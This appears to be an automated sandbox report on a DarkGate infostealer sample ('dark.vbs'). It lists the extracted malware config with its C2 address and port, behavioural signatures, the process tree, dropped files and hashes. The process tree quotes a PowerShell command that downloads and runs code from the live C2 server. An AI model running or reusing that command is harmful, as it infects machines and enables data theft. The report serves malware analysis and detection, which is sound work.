Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/03/2024, 12:49

General

  • Target
    dark.vbs
  • Size 5KB
  • Sample240303-p2npbabb92
  • SHA256 ad806df85dfb29cca1f3a2c99ed069c30cd870bae9d47f2de4c7ce727b9622ec
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • pruebasvbs

C2
  • 149.56.252.31

Attributes
  • anti_analysis

    false

  • anti_debug

    false

  • anti_vm

    false

  • c2_port

    8094

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    mwsMGaLY

  • minimum_disk

    100

  • minimum_ram

    4096

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    pruebasvbs

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 11 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3940
      • C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe
        "C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Adds Run key to start application
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of WriteProcessMemory
        PID:3788
      • C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe
        "C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe"
        2⤵
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:3736
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dark.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '149.56.252.31:8094/mgmmrccw')
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\temp\AutoIt3.exe
          "C:\temp\AutoIt3.exe" script.a3x
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2448

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          habbcbd.a3x

          • Path C:\ProgramData\bbchbhh\habbcbd.a3x
          • Size 468KB
          • SHA256 6d977dfe2c8227a40bb15a8c61de7307de8f09d3c36ad6bedf51162a283b3200
          • MD5 SHA1 SHA512 SSDEEP

          kfbefdf

          • Path C:\ProgramData\bbchbhh\kfbefdf
          • Size 1KB
          • SHA256 e2c4b73903586e4f2293e74b55edbfcbd4d55696362d19e730caedad3d7736ec
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_vblciyjf.z3s.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vblciyjf.z3s.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          CaeDKGe

          • Path C:\Users\Admin\AppData\Roaming\CaeDKGe
          • Size 32B
          • SHA256 bc026c0f0c355ded85e75c3f15b1eaad5be65d727b458bbbbd7a5042c2628c3c
          • MD5 SHA1 SHA512

          AutoIt3.exe

          • Path C:\temp\AutoIt3.exe
          • Size 872KB
          • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
          • MD5 SHA1 SHA512 SSDEEP

          aaddddf

          • Path C:\temp\aaddddf
          • Size 4B
          • SHA256 1512933308b0a6adf128e2dcf39a53cb0e373f5aa284ee803d7aab65e2a08dfa
          • MD5 SHA1 SHA512

          aaddddf

          • Path C:\temp\aaddddf
          • Size 4B
          • SHA256 6df497859afb971b8f3b5f296b49ed63bfbc76dda73afb53bd068156de602b23
          • MD5 SHA1 SHA512

          fbdcgeg

          • Path C:\temp\fbdcgeg
          • Size 4B
          • SHA256 a53ae32c02606a8d278094117f483b13b44d37ebaa630a11628e50a9ae3db40f
          • MD5 SHA1 SHA512

          script.a3x

          • Path C:\temp\script.a3x
          • Size 467KB
          • SHA256 508251503639845117e170fe5ae1b0d7b8953e8336119a71d04e7bdce962d980
          • MD5 SHA1 SHA512 SSDEEP

          test.txt

          • Path C:\temp\test.txt
          • Size 76B
          • SHA256 692f4ba2a4bce266d9228dd0a3e11a5cd2e4b201b5ce459eef64dcb9d043f73c
          • MD5 SHA1 SHA512

          memory/2180-28-0x00007FFA89BE0000-0x00007FFA8A6A1000-memory.dmp

          memory/2180-13-0x0000028337FD0000-0x0000028338192000-memory.dmp

          memory/2180-12-0x000002831D460000-0x000002831D470000-memory.dmp

          memory/2180-11-0x000002831D460000-0x000002831D470000-memory.dmp

          memory/2180-9-0x0000028337830000-0x0000028337852000-memory.dmp

          memory/2180-10-0x00007FFA89BE0000-0x00007FFA8A6A1000-memory.dmp

          memory/2448-33-0x0000000004FE0000-0x0000000005FB0000-memory.dmp

          memory/2448-45-0x00000000064E0000-0x000000000682F000-memory.dmp

          memory/2448-35-0x00000000064E0000-0x000000000682F000-memory.dmp

          memory/3736-62-0x0000000002D10000-0x00000000034B2000-memory.dmp

          memory/3736-54-0x0000000002D10000-0x00000000034B2000-memory.dmp

          memory/3736-60-0x0000000002D10000-0x00000000034B2000-memory.dmp

          memory/3788-44-0x00000000028D0000-0x0000000003072000-memory.dmp

          memory/3788-56-0x00000000028D0000-0x0000000003072000-memory.dmp

          memory/3788-57-0x00000000028D0000-0x0000000003072000-memory.dmp

          memory/3788-55-0x00000000028D0000-0x0000000003072000-memory.dmp

          memory/3788-61-0x00000000028D0000-0x0000000003072000-memory.dmp

          memory/3788-49-0x00000000028D0000-0x0000000003072000-memory.dmp